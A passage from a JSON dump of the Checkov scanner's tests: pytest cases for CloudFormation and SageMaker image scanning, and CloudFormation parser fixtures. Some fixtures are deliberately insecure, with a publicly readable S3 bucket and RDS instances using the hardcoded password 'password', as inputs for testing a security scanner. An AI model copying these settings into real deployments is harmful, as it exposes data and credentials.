\"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\"}\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_sagemaker_image_version_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"sagemaker_image_version.yaml\"\n    image_name = \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-base-image:1.0.0\"\n    code_lines = \"4-19\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 2\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\"}\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_sagemaker_model_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"sagemaker_model.yaml\"\n    image_name_1 = \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-inference-image:latest\"\n    image_name_2 = \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-inference-image-1:latest\"\n    image_name_3 = \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-inference-image-2:latest\"\n    code_lines_1 = \"4-21\"\n    code_lines_2 = \"22-46\"\n    code_lines_3 = \"22-46\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 2\n    assert len(tf_report.passed_checks) == 2\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 3\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_3} lines:{code_lines_3} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 9\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n"
  },
  {
    "path": "tests/cloudformation/parser/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/parser/cfn_bad_iam.yaml",
    "content": "---\nAWSTemplateFormatVersion: \"2010-09-09\"\nDescription: >\n  Test bad IAM policies\nResources:\n  rIamRole:\n    Type: AWS::IAM::Role\n    Properties:\n      AssumeRolePolicyDocument: {}\n      Policies:\n      - PolicyName: String\n        PolicyDocument:\n          Version: 'blah'\n          BadProperty: test\n          Statement: \"Test\"\n  rIamUser:\n    Type: AWS::IAM::ManagedPolicy\n    Properties:\n      PolicyDocument:\n        Version: 'blah'\n        Statement:\n        - Resource: '*'\n          Effect: 'NotAllow'\n          Principal: [123456789012]\n  rIamPolicy:\n    Type: AWS::IAM::Policy\n    Properties:\n      PolicyDocument:\n      - Fn::If:\n        - cCondition\n        - Statement: {}\n        - Statement: []\n"
  },
  {
    "path": "tests/cloudformation/parser/cfn_bad_name.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  with.dot:\n    Type: AWS::EC2::Instance\n    Properties:\n      ImageId: x\n  no_dot:\n    Type: AWS::EC2::Instance\n    Properties:\n      ImageId: y\n"
  },
  {
    "path": "tests/cloudformation/parser/cfn_file.yaml",
    "content": "---\nservice: api-services\nprovider:\n  name: aws\n  stage: ${sls:stage}\n  runtime: nodejs20.x\n  region: 'us-east-1'\n  iamManagedPolicies:\n    - 'arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole'\n\nresources:\n  - ${file(./cfn_file_resources.yaml)}\n\n"
  },
  {
    "path": "tests/cloudformation/parser/cfn_file_circular.yaml",
    "content": "---\nservice: api-services\nprovider:\n  name: aws\n  stage: ${sls:stage}\n  runtime: nodejs20.x\n  region: 'us-east-1'\n  iamManagedPolicies:\n    - 'arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole'\n\nresources:\n  - ${file(./cfn_file_circular.yaml)}\n\n"
  },
  {
    "path": "tests/cloudformation/parser/cfn_file_resources.yaml",
    "content": "---\nResources:\n  MyBucket:\n    Type: AWS::S3::Bucket\n    Properties:\n      BucketName: my-bucket\n      AccessControl: PublicRead\n\n"
  },
  {
    "path": "tests/cloudformation/parser/cfn_newline_at_end.yaml",
    "content": "Resources:\n  MyDB:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n  MyBucket:\n    Type: 'AWS::S3::Bucket'\n    Properties:\n      BucketName: 'hello'\n"
  },
  {
    "path": "tests/cloudformation/parser/cfn_nonewline_at_end.yaml",
    "content": "Resources:\n  MyDB:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n\n  MyBucket:\n    Type: 'AWS::S3::Bucket'\n    Properties:\n      BucketName: 'hello'"
  },
  {
    "path": "tests/cloudformation/parser/cfn_with_ref.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: \"data-stage\"\n\nParameters:\n  ElasticsearchInstanceType:\n    Type: String\n    Default: r5.large.elasticsearch\n\nResources:\n  ElasticsearchDomain:\n    Type: AWS::Elasticsearch::Domain\n    Properties:\n      DomainName: !Join\n          - \"-\"\n          - - !Ref AWS::StackName\n            - \"20200325\"\n      ElasticsearchVersion: !Ref ElasticsearchVersion\n      ElasticsearchClusterConfig:\n        InstanceCount: '1'\n        InstanceType: !Ref ElasticsearchInstanceType\n"
  },
  {
    "path": "tests/cloudformation/parser/cfn_with_ref_bad.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: \"data-stage\"\n\nParameters:\n  ElasticsearchInstanceType:\n    Type: String\n    Default: r5.large.elasticsearch\n\nResources:\n  ElasticsearchDomain:\n    Type: AWS::Elasticsearch::Domain\n    Properties:\n      DomainName: !Join\n          - \"-\"\n          - - !Ref AWS::StackName\n            - \"20200325\"\n      ElasticsearchVersion: !Ref [1]\n      ElasticsearchClusterConfig:\n        InstanceCount: '1'\n        InstanceType: !Ref ElasticsearchInstanceType\n"
  },
  {
    "path": "tests/cloudformation/parser/fail.json",
    "content": "foo"
  },
  {
    "path": "tests/cloudformation/parser/skip.yaml",
    "content": "Resources:\n  MyDB:\n    Type: 'AWS::RDS::DBInstance'\n    # Test case for check skip via comment\n    # checkov:skip=CKV_AWS_16:Ensure all data stored in the RDS is securely encrypted at rest\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n"
  },
  {
    "path": "tests/cloudformation/parser/success.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"acme AWS CloudTrail and Config Security Audit Integration\",\n  \"Mappings\": {\n    \"acmeEnvironment\": {\n      \"env\": {\n        \"organizationID\": \"${account_id}\",\n        \"SnsNameForConfirmCustomerDeployment\": \"${sns_name}\"\n      }\n    }\n  },\n  \"Metadata\": {\n    \"AWS::CloudFormation::Interface\": {\n      \"ParameterGroups\": [\n        {\n          \"Label\": {\n            \"default\": \"Required Parameters\"\n          },\n          \"Parameters\": [\n            \"CustomerName\",\n            \"ResourceNamePrefix\",\n            \"ExternalID\",\n            \"LogFilesExpiration\",\n            \"CreateTrail\"\n          ]\n        },\n        {\n          \"Label\": {\n            \"default\": \"New Trail Options\"\n          },\n          \"Parameters\": [\n            \"NewTrailLogFilePrefix\"\n          ]\n        },\n        {\n          \"Label\": {\n            \"default\": \"Existing Trail Setup\"\n          },\n          \"Parameters\": [\n            \"ExistingTrailBucketName\",\n            \"ExistingTrailTopicArn\",\n            \"SecurityAccountId\"\n          ]\n        }\n      ],\n      \"ParameterLabels\": {\n        \"ResourceNamePrefix\": {\n          \"default\": \"Resource name prefix\"\n        },\n        \"CustomerName\": {\n          \"default\": \"Customer name\"\n        },\n        \"ExternalID\": {\n          \"default\": \"ExternalID\"\n        },\n        \"CreateTrail\": {\n          \"default\": \"Create new trail?\"\n        },\n        \"NewTrailLogFilePrefix\": {\n          \"default\": \"Log file prefix\"\n        },\n        \"ExistingTrailBucketName\": {\n          \"default\": \"Bucket name\"\n        },\n        \"ExistingTrailTopicArn\": {\n          \"default\": \"Topic ARN\"\n        },\n        \"LogFilesExpiration\": {\n          \"default\": \"LifecycleConfigurationExpirationInDays\"\n        }\n      }\n    }\n  },\n  \"Parameters\": {\n    \"ResourceNamePrefix\": {\n      \"Description\": \"Names of resources created by the stack will be prefixed with this value to ensure uniqueness.\",\n      \"Type\": \"String\",\n      \"Default\": \"acme\",\n      \"MinLength\": \"1\",\n      \"MaxLength\": \"32\",\n      \"AllowedPattern\": \"^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$\",\n      \"ConstraintDescription\": \"Invalid resource name prefix value.  Must match pattern ^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$\"\n    },\n    \"CustomerName\": {\n      \"Description\": \"Customer name as defined on acme Signup\",\n      \"Type\": \"String\",\n      \"MinLength\": \"2\",\n      \"MaxLength\": \"1224\",\n      \"AllowedPattern\": \"[a-zA-Z0-9]*\",\n      \"ConstraintDescription\": \"must contain only alphanumeric characters.\"\n    },\n    \"ExternalID\": {\n      \"Description\": \"The cross-account access role created by the stack will use this value for its ExternalID.\",\n      \"Type\": \"String\",\n      \"MinLength\": \"2\",\n      \"MaxLength\": \"1224\",\n      \"AllowedPattern\": \"[\\\\w+=,.@:\\\\/-]*\",\n      \"ConstraintDescription\": \"Invalid ExternalID value.  Must match pattern [\\\\w+=,.@:\\\\/-]*\"\n    },\n    \"CreateTrail\": {\n      \"Description\": \"You can have a new multi-region CloudTrail trail be created (along with a new S3 bucket and SNS topic), or use your existing trail setup.\",\n      \"Type\": \"String\",\n      \"AllowedValues\": [\n        \"Yes\",\n        \"No\"\n      ],\n      \"Default\": \"Yes\"\n    },\n    \"NewTrailLogFilePrefix\": {\n      \"Description\": \"If you want the new trail to prefix its log file names, provide the prefix to use.  Otherwise, leave it blank.\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"MaxLength\": \"64\",\n      \"AllowedPattern\": \"[a-zA-Z0-9-_.!()* ]*\",\n      \"ConstraintDescription\": \"Invalid log file prefix.  Must match pattern [a-zA-Z0-9-_.!()* ]*\"\n    },\n    \"ExistingTrailBucketName\": {\n      \"Description\": \"Provide the name of the S3 bucket for your existing trail setup.  The bucket must be owned by the current account.\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"MaxLength\": \"128\"\n    },\n    \"ExistingTrailTopicArn\": {\n      \"Description\": \"Provide the ARN of the SNS topic for your existing trail setup. The SNS must be subscribe to the existing bucket\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"MaxLength\": \"256\"\n    },\n    \"SecurityAccountId\": {\n      \"Description\": \"In case of an existing CloudTrail trail saving logs to another account, please provide the account ID for that account\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"AllowedPattern\": \"\\\\d{12}|\\\\d{0}\",\n      \"MaxLength\": \"12\"\n    },\n    \"LogFilesExpiration\": {\n      \"Description\": \"Number of days log files will be saved for. After this many days, log files will be deleted\",\n      \"Type\": \"Number\",\n      \"Default\": \"30\",\n      \"MinValue\": \"7\",\n      \"MaxValue\": \"365\"\n    }\n  },\n  \"Conditions\": {\n    \"CreateNewTrail\": {\n      \"Fn::Equals\": [\n        {\n          \"Ref\": \"CreateTrail\"\n        },\n        \"Yes\"\n      ]\n    },\n    \"UseExistingTrail\": {\n      \"Fn::Not\": [\n        {\n          \"Fn::Equals\": [\n            {\n              \"Ref\": \"CreateTrail\"\n            },\n            \"Yes\"\n          ]\n        }\n      ]\n    },\n    \"NewTrailUsesLogFilePrefix\": {\n      \"Fn::Not\": [\n        {\n          \"Fn::Equals\": [\n            {\n              \"Ref\": \"NewTrailLogFilePrefix\"\n            },\n            \"\"\n          ]\n        }\n      ]\n    },\n    \"SecurityAccountExists\": {\n      \"Fn::Equals\": [\n        {\n          \"Ref\": \"SecurityAccountId\"\n        },\n        \"\"\n      ]\n    }\n  },\n  \"Resources\": {\n    \"acmeCWSBucket\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::S3::Bucket\",\n      \"DeletionPolicy\": \"Retain\",\n      \"Properties\": {\n        \"BucketName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws-\",\n              {\n                \"Ref\": \"AWS::AccountId\"\n              }\n            ]\n          ]\n        },\n        \"VersioningConfiguration\": {\n          \"Status\": \"Enabled\"\n        },\n        \"LifecycleConfiguration\": {\n          \"Rules\": [\n            {\n              \"Id\": \"Delete old log files\",\n              \"Status\": \"Enabled\",\n              \"ExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              },\n              \"NoncurrentVersionExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              }\n            }\n          ]\n        },\n        \"BucketEncryption\": {\n          \"ServerSideEncryptionConfiguration\": [\n            {\n              \"ServerSideEncryptionByDefault\": {\n                \"Fn::If\": [\n                  \"CreateNewTrail\",\n                  {\n                    \"KMSMasterKeyID\": {\n                      \"Ref\": \"CloudtrailKMSKeyAlias\"\n                    },\n                    \"SSEAlgorithm\": \"aws:kms\"\n                  },\n                  {\n                    \"SSEAlgorithm\": \"AES256\"\n                  }\n                ]\n              }\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSBucket2\": {\n      \"Type\": \"AWS::S3::Bucket\",\n      \"DeletionPolicy\": \"Retain\",\n      \"Properties\": {\n        \"BucketName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws-\",\n              {\n                \"Ref\": \"AWS::AccountId\"\n              }\n            ]\n          ]\n        },\n        \"LoggingConfiguration\": {\n          \"DestinationBucketName\": \"dest-bucket\",\n          \"LogFilePrefix\": \"\"\n        },\n        \"LifecycleConfiguration\": {\n          \"Rules\": [\n            {\n              \"Id\": \"Delete old log files\",\n              \"Status\": \"Enabled\",\n              \"ExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              },\n              \"NoncurrentVersionExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              }\n            }\n          ]\n        },\n        \"BucketEncryption\": {\n          \"ServerSideEncryptionConfiguration\": [\n            {\n              \"ServerSideEncryptionByDefault\": {\n                \"Fn::If\": [\n                  \"CreateNewTrail\",\n                  {\n                    \"KMSMasterKeyID\": {\n                      \"Ref\": \"CloudtrailKMSKeyAlias\"\n                    },\n                    \"SSEAlgorithm\": \"aws:kms\"\n                  },\n                  {\n                    \"SSEAlgorithm\": \"AES256\"\n                  }\n                ]\n              }\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSBucketPolicy\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::S3::BucketPolicy\",\n      \"Properties\": {\n        \"Bucket\": {\n          \"Ref\": \"acmeCWSBucket\"\n        },\n        \"PolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Id\": \"acmeCWSBucketPolicy\",\n          \"Statement\": [\n            {\n              \"Sid\": \"CloudTrailAclCheck\",\n              \"Action\": \"s3:GetBucketAcl\",\n              \"Effect\": \"Allow\",\n              \"Resource\": {\n                \"Fn::Join\": [\n                  \"\",\n                  [\n                    \"arn:aws:s3:::\",\n                    {\n                      \"Ref\": \"acmeCWSBucket\"\n                    }\n                  ]\n                ]\n              },\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              }\n            },\n            {\n              \"Sid\": \"CloudTrailWrite\",\n              \"Action\": \"s3:PutObject\",\n              \"Effect\": \"Allow\",\n              \"Resource\": {\n                \"Fn::Join\": [\n                  \"\",\n                  [\n                    \"arn:aws:s3:::\",\n                    {\n                      \"Ref\": \"acmeCWSBucket\"\n                    },\n                    {\n                      \"Fn::If\": [\n                        \"NewTrailUsesLogFilePrefix\",\n                        {\n                          \"Fn::Join\": [\n                            \"\",\n                            [\n                              \"/\",\n                              {\n                                \"Ref\": \"NewTrailLogFilePrefix\"\n                              }\n                            ]\n                          ]\n                        },\n                        \"\"\n                      ]\n                    },\n                    \"/AWSLogs/\",\n                    {\n                      \"Ref\": \"AWS::AccountId\"\n                    },\n                    \"/*\"\n                  ]\n                ]\n              },\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Condition\": {\n                \"StringEquals\": {\n                  \"s3:x-amz-acl\": \"bucket-owner-full-control\"\n                },\n                \"Bool\": {\n                  \"aws:SecureTransport\": \"true\"\n                }\n              }\n            },\n            {\n              \"Sid\": \"DenyUnsecureTransport\",\n              \"Action\": \"s3:*\",\n              \"Effect\": \"Deny\",\n              \"Resource\": [\n                {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:s3:::\",\n                      {\n                        \"Ref\": \"acmeCWSBucket\"\n                      },\n                      \"/*\"\n                    ]\n                  ]\n                },\n                {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:s3:::\",\n                      {\n                        \"Ref\": \"acmeCWSBucket\"\n                      }\n                    ]\n                  ]\n                }\n              ],\n              \"Principal\": \"*\",\n              \"Condition\": {\n                \"Bool\": {\n                  \"aws:SecureTransport\": \"false\"\n                }\n              }\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSTopic\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::SNS::Topic\",\n      \"Properties\": {\n        \"TopicName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws\"\n            ]\n          ]\n        }\n      }\n    },\n    \"acmeCWSTopicPolicy\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::SNS::TopicPolicy\",\n      \"Properties\": {\n        \"PolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Sid\": \"CloudTrailPublish\",\n              \"Action\": \"SNS:Publish\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Resource\": \"*\"\n            }\n          ]\n        },\n        \"Topics\": [\n          {\n            \"Ref\": \"acmeCWSTopic\"\n          }\n        ]\n      }\n    },\n    \"acmeCWSTrail\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::CloudTrail::Trail\",\n      \"DependsOn\": [\n        \"acmeCWSTopicPolicy\",\n        \"acmeCWSBucketPolicy\"\n      ],\n      \"Properties\": {\n        \"TrailName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws\"\n            ]\n          ]\n        },\n        \"S3BucketName\": {\n          \"Ref\": \"acmeCWSBucket\"\n        },\n        \"S3KeyPrefix\": {\n          \"Fn::If\": [\n            \"NewTrailUsesLogFilePrefix\",\n            {\n              \"Ref\": \"NewTrailLogFilePrefix\"\n            },\n            {\n              \"Ref\": \"AWS::NoValue\"\n            }\n          ]\n        },\n        \"SnsTopicName\": {\n          \"Fn::GetAtt\": [\n            \"acmeCWSTopic\",\n            \"TopicName\"\n          ]\n        },\n        \"KMSKeyId\": {\n          \"Ref\": \"CloudtrailKMSKeyAlias\"\n        },\n        \"EnableLogFileValidation\": true,\n        \"IncludeGlobalServiceEvents\": true,\n        \"IsMultiRegionTrail\": true,\n        \"IsLogging\": true\n      }\n    },\n    \"CloudtrailKMSKey\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::KMS::Key\",\n      \"Properties\": {\n        \"Description\": \"KMS for Cloudtrail, shared with Lacework and acme\",\n        \"Enabled\": true,\n        \"EnableKeyRotation\": true,\n        \"KeyPolicy\": {\n          \"Version\": \"2012-10-17\",\n          \"Id\": \"key-default-1\",\n          \"Statement\": [\n            {\n              \"Sid\": \"Enable owner account permissions\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:iam::\",\n                      {\n                        \"Ref\": \"AWS::AccountId\"\n                      },\n                      \":root\"\n                    ]\n                  ]\n                }\n              },\n              \"Action\": \"kms:*\",\n              \"Resource\": \"*\"\n            },\n            {\n              \"Sid\": \"Allow CloudTrail to encrypt logs\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Action\": [\n                \"kms:GenerateDataKey*\",\n                \"kms:ReEncryptFrom\"\n              ],\n              \"Resource\": \"*\",\n              \"Condition\": {\n                \"StringLike\": {\n                  \"kms:EncryptionContext:aws:cloudtrail:arn\": {\n                    \"Fn::Join\": [\n                      \"\",\n                      [\n                        \"arn:aws:cloudtrail:*:\",\n                        {\n                          \"Ref\": \"AWS::AccountId\"\n                        },\n                        \":trail/*\"\n                      ]\n                    ]\n                  }\n                }\n              }\n            },\n            {\n              \"Sid\": \"Allow CloudTrail to describe key\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Action\": \"kms:DescribeKey\",\n              \"Resource\": \"*\"\n            },\n            {\n              \"Sid\": \"Enable acme & Lacework log decryption\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": \"*\"\n              },\n              \"Action\": [\n                \"kms:Decrypt\"\n              ],\n              \"Resource\": \"*\",\n              \"Condition\": {\n                \"StringEquals\": {\n                  \"kms:CallerAccount\": {\n                    \"Ref\": \"AWS::AccountId\"\n                  }\n                },\n                \"StringLike\": {\n                  \"kms:EncryptionContext:aws:cloudtrail:arn\": {\n                    \"Fn::Join\": [\n                      \"\",\n                      [\n                        \"arn:aws:cloudtrail:*:\",\n                        {\n                          \"Ref\": \"AWS::AccountId\"\n                        },\n                        \":trail/*\"\n                      ]\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        },\n        \"KeyUsage\": \"ENCRYPT_DECRYPT\"\n      },\n      \"Metadata\": {\n        \"AWS::CloudFormation::Designer\": {\n          \"id\": \"787370fe-e579-465f-98c5-f1c84f79a810\"\n        }\n      }\n    },\n    \"CloudtrailKMSKeyAlias\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::KMS::Alias\",\n      \"Properties\": {\n        \"AliasName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              \"alias/\",\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-CloudtrailKey\"\n            ]\n          ]\n        },\n        \"TargetKeyId\": {\n          \"Ref\": \"CloudtrailKMSKey\"\n        }\n      }\n    },\n    \"acmeCWSQueue\": {\n      \"Type\": \"AWS::SQS::Queue\",\n      \"Properties\": {\n        \"QueueName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws\"\n            ]\n          ]\n        },\n        \"VisibilityTimeout\": 43200\n      }\n    },\n    \"acmeCWSQueuePolicy\": {\n      \"Type\": \"AWS::SQS::QueuePolicy\",\n      \"Properties\": {\n        \"PolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Sid\": \"AwsSnsAccess\",\n              \"Effect\": \"Allow\",\n              \"Principal\": \"*\",\n              \"Action\": [\n                \"sqs:SendMessage\"\n              ],\n              \"Resource\": \"*\",\n              \"Condition\": {\n                \"ArnEquals\": {\n                  \"aws:SourceArn\": {\n                    \"Fn::If\": [\n                      \"CreateNewTrail\",\n                      {\n                        \"Ref\": \"acmeCWSTopic\"\n                      },\n                      {\n                        \"Ref\": \"ExistingTrailTopicArn\"\n                      }\n                    ]\n                  }\n                }\n              }\n            },\n            {\n              \"Sid\": \"acmeSqsAccess\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:iam::\",\n                      {\n                        \"Fn::FindInMap\": [\n                          \"acmeEnvironment\",\n                          \"env\",\n                          \"organizationID\"\n                        ]\n                      },\n                      \":root\"\n                    ]\n                  ]\n                }\n              },\n              \"Action\": [\n                \"sqs:ReceiveMessage\",\n                \"sqs:DeleteMessage\",\n                \"sqs:GetQueueAttributes\",\n                \"sqs:GetQueueUrl\",\n                \"sqs:ListDeadLetterSourceQueues\",\n                \"sqs:ChangeMessageVisibility\"\n              ],\n              \"Resource\": \"*\"\n            }\n          ]\n        },\n        \"Queues\": [\n          {\n            \"Ref\": \"acmeCWSQueue\"\n          }\n        ]\n      }\n    },\n    \"acmeCWSSubscription\": {\n      \"Type\": \"AWS::SNS::Subscription\",\n      \"Properties\": {\n        \"Endpoint\": {\n          \"Fn::GetAtt\": [\n            \"acmeCWSQueue\",\n            \"Arn\"\n          ]\n        },\n        \"Protocol\": \"sqs\",\n        \"TopicArn\": {\n          \"Fn::If\": [\n            \"CreateNewTrail\",\n            {\n              \"Ref\": \"acmeCWSTopic\"\n            },\n            {\n              \"Ref\": \"ExistingTrailTopicArn\"\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSSACrossAccountAccessRole\": {\n      \"Type\": \"AWS::IAM::Role\",\n      \"Properties\": {\n        \"RoleName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecwssarole\"\n            ]\n          ]\n        },\n        \"AssumeRolePolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Action\": \"sts:AssumeRole\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:iam::\",\n                      {\n                        \"Fn::FindInMap\": [\n                          \"acmeEnvironment\",\n                          \"env\",\n                          \"organizationID\"\n                        ]\n                      },\n                      \":root\"\n                    ]\n                  ]\n                }\n              },\n              \"Condition\": {\n                \"StringEquals\": {\n                  \"sts:ExternalId\": {\n                    \"Ref\": \"ExternalID\"\n                  }\n                }\n              }\n            }\n          ]\n        },\n        \"ManagedPolicyArns\": [\n          \"arn:aws:iam::aws:policy/SecurityAudit\",\n          \"arn:aws:iam::aws:policy/AWSCloudFormationReadOnlyAccess\"\n        ],\n        \"Policies\": [\n          {\n            \"PolicyName\": \"acmeCWSPolicy\",\n            \"PolicyDocument\": {\n              \"Version\": \"2012-10-17\",\n              \"Statement\": [\n                